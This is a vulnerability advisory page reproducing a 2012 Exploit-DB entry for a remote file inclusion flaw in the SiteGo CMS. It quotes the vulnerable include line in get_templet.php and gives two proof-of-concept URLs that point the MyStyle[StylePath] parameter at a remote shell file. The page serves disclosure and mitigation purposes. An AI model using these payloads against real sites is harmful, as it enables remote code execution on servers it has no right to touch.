SiteGo Remote File Inclusion Vulnerability

vendor:

Site-Go

by:

L0n3ly-H34rT

9,3

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Site-Go

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux/Windows

2012

SiteGo Remote File Inclusion Vulnerability

SiteGo is vulnerable to a Remote File Inclusion vulnerability. This vulnerability exists in two styles (get_templet.php) on line 120, where the application includes a file without proper validation. An attacker can exploit this vulnerability by sending a malicious URL in the MyStyle[StylePath] parameter. For example, http://127.0.0.1/site-go/style/green/get_templet.php?MyStyle[StylePath]=http://127.0.0.1/shell.txt? or http://127.0.0.1/site-go/style/blue/get_templet.php?MyStyle[StylePath]=http://127.0.0.1/shell.txt?. This can allow an attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Developers should ensure that user-supplied input is properly validated and sanitized before being used in any file inclusion operations. Additionally, applications should be configured to use the least privileged user account when accessing files.

Source

Exploit-DB raw data:

############################################
### Exploit Title: SiteGo Remote File Inclusion Vulnerability
### Date: 10/09/2012 
### Author: L0n3ly-H34rT 
### Contact: l0n3ly_h34rt@hotmail.com 
### My Site: http://se3c.blogspot.com/ 
### Vendor Link: http://site-go.com/
### Software Link: http://site-go.com/free/site-go.zip
### Tested on: Linux/Windows 
############################################

# File affect in two styles ( get_templet.php ) on line 120:

include "$MyStyle[StylePath]/extra/css_menu.php";

# Examples :

http://127.0.0.1/site-go/style/green/get_templet.php?MyStyle[StylePath]=http://127.0.0.1/shell.txt?

http://127.0.0.1/site-go/style/blue/get_templet.php?MyStyle[StylePath]=http://127.0.0.1/shell.txt?

############################################

# Greetz to my friendz